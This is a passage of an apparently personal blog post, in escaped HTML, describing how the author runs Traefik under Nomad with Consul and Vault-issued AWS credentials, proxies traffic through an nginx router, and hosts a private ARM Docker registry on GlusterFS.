&lt;code&gt;&lt;span class="org-variable-name"&gt;storage&lt;/span&gt; = &lt;span class="org-string"&gt;"traefik/acme/account"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;entryPoint&lt;/span&gt; = &lt;span class="org-string"&gt;"https"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;[[&lt;span class="org-type"&gt;acme.domains&lt;/span&gt;]]&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;main&lt;/span&gt; = &lt;span class="org-string"&gt;"*.example.com"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;sans&lt;/span&gt; = [&lt;span class="org-string"&gt;"example.com"&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;[&lt;span class="org-type"&gt;acme.dnsChallenge&lt;/span&gt;]&lt;/code&gt;
&lt;code&gt;&lt;span class="org-variable-name"&gt;provider&lt;/span&gt; = &lt;span class="org-string"&gt;"route53"&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;traefik --consul.endpoint=127.0.0.1:8500 storeconfig traefik.toml&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This (more or less) gets your Traefik config Consul-ized.
Next you need to &lt;i&gt;run&lt;/i&gt; Traefik somewhere.
Sounds like a perfect fit for a clustered, dynamically scaling runtime like Nomad!
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;HCL&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment-delimiter"&gt;Font used to highlight comment delimiters.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-hcl"&gt;&lt;code&gt;&lt;code&gt;job &lt;span class="org-string"&gt;"traefik"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;region&lt;/span&gt;      = &lt;span class="org-string"&gt;"global"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;datacenters&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;span class="org-string"&gt;"lan"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;type&lt;/span&gt;        = &lt;span class="org-string"&gt;"service"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-type"&gt;constraint&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;attribute&lt;/span&gt; = &lt;span class="org-string"&gt;"&lt;/span&gt;&lt;span class="org-variable-name"&gt;${meta.cluster}&lt;/span&gt;&lt;span class="org-string"&gt;"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;operator&lt;/span&gt;  = &lt;span class="org-string"&gt;"=="&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;value&lt;/span&gt;     = &lt;span class="org-string"&gt;"compute"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;  task &lt;span class="org-string"&gt;"traefik"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;driver&lt;/span&gt; = &lt;span class="org-string"&gt;"docker"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;config&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;image&lt;/span&gt; = &lt;span class="org-string"&gt;"traefik:1.6.5"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;args&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"--accesslogsfile=/dev/stdout"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"--web"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"--consul.endpoint=172.17.0.1:8500"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"--consulcatalog"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"--consulcatalog.endpoint=172.17.0.1:8500"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;port_map&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;admin&lt;/span&gt; = 8080&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;http&lt;/span&gt;  = 80&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;https&lt;/span&gt; = 443&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;resources&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;cpu&lt;/span&gt;    = 100 &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;Mhz&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;      &lt;span class="org-variable-name"&gt;memory&lt;/span&gt; = 64  &lt;span class="org-comment-delimiter"&gt;# &lt;/span&gt;&lt;span class="org-comment"&gt;MB&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;network&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;mbits&lt;/span&gt; = 10&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;        port &lt;span class="org-string"&gt;"admin"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;          &lt;span class="org-variable-name"&gt;static&lt;/span&gt; = 8080&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-rainbow-delimiters-depth-5"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;        port &lt;span class="org-string"&gt;"http"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;          &lt;span class="org-variable-name"&gt;static&lt;/span&gt; = 80&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-rainbow-delimiters-depth-5"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;        port &lt;span class="org-string"&gt;"https"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;          &lt;span class="org-variable-name"&gt;static&lt;/span&gt; = 443&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-rainbow-delimiters-depth-5"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;service&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;name&lt;/span&gt; = &lt;span class="org-string"&gt;"traefik"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;port&lt;/span&gt; = &lt;span class="org-string"&gt;"admin"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;tags&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.enable=true"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.frontend.entryPoints=http,https"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;template&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;change_mode&lt;/span&gt; = &lt;span class="org-string"&gt;"restart"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;destination&lt;/span&gt; = &lt;span class="org-string"&gt;"local/values.env"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;env&lt;/span&gt;         =&lt;span class="org-constant"&gt; true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;data&lt;/span&gt; = &amp;lt;&amp;lt;EOF&lt;span class="org-string"&gt;&lt;/code&gt;
&lt;code&gt;{{ '{{' }} with secret "aws-personal/creds/ddns" }}&lt;/code&gt;
&lt;code&gt;AWS_ACCESS_KEY_ID = "{{ '{{' }} .Data.access_key }}"&lt;/code&gt;
&lt;code&gt;AWS_SECRET_ACCESS_KEY = "{{ '{{' }} .Data.secret_key }}"{{ '{{' }} end }}&lt;/code&gt;
&lt;code&gt;{{ '{{' }} with secret "secret/ddns" }}&lt;/code&gt;
&lt;code&gt;AWS_HOSTED_ZONE_ID = "{{ '{{' }} .Data.hosted_zone_id }}"{{ '{{' }} end }}&lt;/code&gt;
&lt;code&gt;EOF&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;vault&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;policies&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;span class="org-string"&gt;"ddns"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Some notes about this configuration:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;I'm using the Route53 ACME DNS provider backend coupled with Vault secrets for authentication. This gets me easy Let's Encrypt certs using purely ephemeral AWS creds that Vault creates then destroys just for this purpose.&lt;/li&gt;
&lt;li&gt;Traefik (thankfully) builds and serves images for ARM architectures, so no special steps are necessary to run this on my ODroid MC1 cluster.&lt;/li&gt;
&lt;li&gt;The constraint you see defined is necessary since I &lt;i&gt;also&lt;/i&gt; run Nomad clients on my storage cluster. All nodes outside of my &lt;code&gt;storage&lt;/code&gt; cluster get pooled into my &lt;code&gt;compute&lt;/code&gt; cluster. I do this so that I can run some Nomad tasks on my storage machines if needed, though that's another use case that I may cover in another post.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
That's it!
But we're not &lt;i&gt;quite&lt;/i&gt; done without some changes to the router on the network to make this even more easily accessible.
&lt;/p&gt;

&lt;p&gt;
With this setup, the Traefik container will now happily serve domains under &lt;code&gt;*.example.com&lt;/code&gt;.
If you have a network infrastructure which you can &lt;code&gt;CNAME&lt;/code&gt; something like &lt;code&gt;foo.example.com&lt;/code&gt; to &lt;code&gt;traefik.service.consul&lt;/code&gt;, great: when your browser asks for &lt;code&gt;foo.example.com&lt;/code&gt;, your router will reply with a &lt;code&gt;CNAME&lt;/code&gt; to Traefik, you'll snag the right IP (wherever in the cluster it's running), and you'll get routed correctly.
&lt;/p&gt;

&lt;p&gt;
In my case, &lt;a href="file:///building-my-perfect-router"&gt;my router&lt;/a&gt; is on dnsmasq, and unfortunately, dnsmasq can't &lt;code&gt;CNAME&lt;/code&gt; addresses to names outside of its scope (that is, names it has assigned).
I had to get a little creative, and found a solution that isn't pretty, but &lt;span class="underline"&gt;is&lt;/span&gt; functional.
&lt;/p&gt;

&lt;p&gt;
I listen on my router's LAN interface for HTTP/HTTPS and proxy all requests to Traefik by using nginx DNS lookups.
Thus a request for &lt;code&gt;foo.example.com&lt;/code&gt; resolves to my router's IP address, and my router forwards traffic on port 80 and port 443 to whatever IP &lt;code&gt;traefik.service.consul&lt;/code&gt; currently has.
The config was actually kind of hard to put together since reverse TCP proxying using DNS lookups is a pretty esoteric use case, but this is what it actually looks like in practice:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Nginx&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-nginx"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-keyword"&gt;stream&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;resolver&lt;/span&gt; 127.0.0.1:8600 valid=10s;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;map&lt;/span&gt; &lt;span class="org-variable-name"&gt;$remote_addr&lt;/span&gt; &lt;span class="org-variable-name"&gt;$traefik&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-keyword"&gt;default&lt;/span&gt; traefik.service.consul;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;server&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-keyword"&gt;listen&lt;/span&gt; 80;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-keyword"&gt;listen&lt;/span&gt; 443;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-keyword"&gt;proxy_pass&lt;/span&gt; &lt;span class="org-variable-name"&gt;$traefik&lt;/span&gt;:&lt;span class="org-variable-name"&gt;$server_port&lt;/span&gt;;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Note that this requires Consul on the same host to resolve DNS queries for &lt;code&gt;*.consul&lt;/code&gt; domains - heavily firewall your router as necessary.
Also note: I used HAProxy for this initially, which works great (and, incidentally, supports discovery of hosts over &lt;code&gt;SRV&lt;/code&gt; records while nginx only does so in their paid version), but I needed UDP proxying as well for netflow collection, so I used nginx in the end.
&lt;/p&gt;

&lt;p&gt;
In this setup, you need to have some DNS records set to point your apps at your router, but that's an easy task.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-3-using-it"&gt;
&lt;h4 id="part-3-using-it"&gt;Part 3 - Using It&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-3-using-it"&gt;
&lt;p&gt;
Alright, we've got a functional container/distributed execution runtime!
Time to use it.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-prelude-a-private-registry"&gt;
&lt;h5 id="prelude-a-private-registry"&gt;Prelude - A Private Registry&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-prelude-a-private-registry"&gt;
&lt;p&gt;
At this point, we can start hosting applications.
If you're purely pulling public images from the Docker hub for your applications and everything you need is there, great!
However, in my case, there are a &lt;span class="underline"&gt;lot&lt;/span&gt; of applications that don't ship images for ARMv7 CPUs.
You can build and push these to the Docker hub, but I found it easier to just host a private registry on my LAN.
As an added bonus, internet availability doesn't impact your ability to run and bring apps up and down, which is pretty important to me.
&lt;/p&gt;

&lt;p&gt;
Of course, you need the registry hosting software present in the &lt;i&gt;first&lt;/i&gt; place, so there's a dependency on the Docker hub to get your private registry running.
Here's what my Nomad config looks like for my self-hosted registry:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;HCL&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-hcl"&gt;&lt;code&gt;&lt;code&gt;job &lt;span class="org-string"&gt;"registry"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;datacenters&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;span class="org-string"&gt;"lan"&lt;/span&gt;&lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;region&lt;/span&gt; = &lt;span class="org-string"&gt;"global"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;type&lt;/span&gt; = &lt;span class="org-string"&gt;"service"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-variable-name"&gt;priority&lt;/span&gt; = 80&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-type"&gt;constraint&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;attribute&lt;/span&gt; = &lt;span class="org-string"&gt;"&lt;/span&gt;&lt;span class="org-variable-name"&gt;${meta.cluster}&lt;/span&gt;&lt;span class="org-string"&gt;"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;operator&lt;/span&gt;  = &lt;span class="org-string"&gt;"=="&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;value&lt;/span&gt;     = &lt;span class="org-string"&gt;"compute"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  task &lt;span class="org-string"&gt;"registry"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-2"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;driver&lt;/span&gt; = &lt;span class="org-string"&gt;"docker"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;config&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;image&lt;/span&gt; = &lt;span class="org-string"&gt;"budry/registry-arm"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;port_map&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-variable-name"&gt;registry&lt;/span&gt; = 5000&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;volumes&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"/srv/storage/registry:/var/lib/registry"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;service&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;name&lt;/span&gt; = &lt;span class="org-string"&gt;"registry"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;port&lt;/span&gt; = &lt;span class="org-string"&gt;"registry"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;tags&lt;/span&gt; = &lt;span class="org-rainbow-delimiters-depth-4"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.enable=true"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"traefik.frontend.entryPoints=http,https"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-type"&gt;resources&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-3"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;cpu&lt;/span&gt;    = 100&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-variable-name"&gt;memory&lt;/span&gt; = 64&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-type"&gt;network&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-4"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        port &lt;span class="org-string"&gt;"registry"&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;{&lt;/span&gt; &lt;span class="org-rainbow-delimiters-depth-5"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;      &lt;span class="org-rainbow-delimiters-depth-4"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-3"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;  &lt;span class="org-rainbow-delimiters-depth-2"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The config here isn't too bad, but the persistent storage is import to touch on.
The mount point &lt;code&gt;/srv/storage/registry&lt;/code&gt; is a Gluster volume mount &lt;b&gt;present on each member of the cluster&lt;/b&gt;.
Here's the mount snipped in &lt;code&gt;fstab&lt;/code&gt; form:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Conf[Unix]&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-conf"&gt;&lt;code&gt;&lt;code&gt;codex01:/registry /srv/storage/registry glusterfs defaults 0 0&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
With this mounted on each node that may potentially receive the &lt;code&gt;registry&lt;/code&gt; job for scheduling, the container can always mount the data and persistence will "follow" the task since the shared storage volume is mounted everywhere.
Since we include the helpful Traefik tags to indicate we want the service exposed, I can hit the registry via a plain DNS name to see my catalog of images:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;http -b https://registry.example.com/v2/_catalog&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-json"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"repositories"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"bitwarden_rs"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"elasticsearch"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"ganglia"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"kibana"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"logstash"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"prometheus"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"tt-rss"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Now we can build and host Docker images locally with a highly-available, fault-tolerant, and distributed registry.
Great!
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
